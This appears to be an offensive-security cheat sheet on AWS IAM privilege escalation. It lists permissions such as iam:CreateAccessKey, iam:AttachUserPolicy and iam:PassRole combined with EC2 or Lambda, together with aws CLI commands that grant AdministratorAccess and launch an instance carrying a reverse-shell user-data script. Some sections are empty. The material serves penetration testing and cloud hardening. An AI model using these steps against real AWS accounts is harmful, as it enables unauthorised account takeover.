AWS - Identity & Access Management
Listing IAM access Keys
Listing IAM Users and Groups
Shadow Admin
Admin equivalent permission
-
AdministratorAccess
-
ec2:AssociateIamInstanceProfile : attach an IAM instance profile to an EC2 instance
-
iam:CreateAccessKey : create a new access key to another IAM admin account
-
iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it
-
iam:UpdateLoginProfile : reset other IAM users’ login passwords.
-
iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
-
iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
-
iam:CreatePolicy : add a stealthy admin policy
-
iam:AddUserToGroup : add into the admin group of the organization.
-
iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
-
iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one.
-
lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
-
glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
-
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
-
iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
# add ssh key $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456 # execute a reverse shell $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
-
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account.
Example of code.py -
iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account.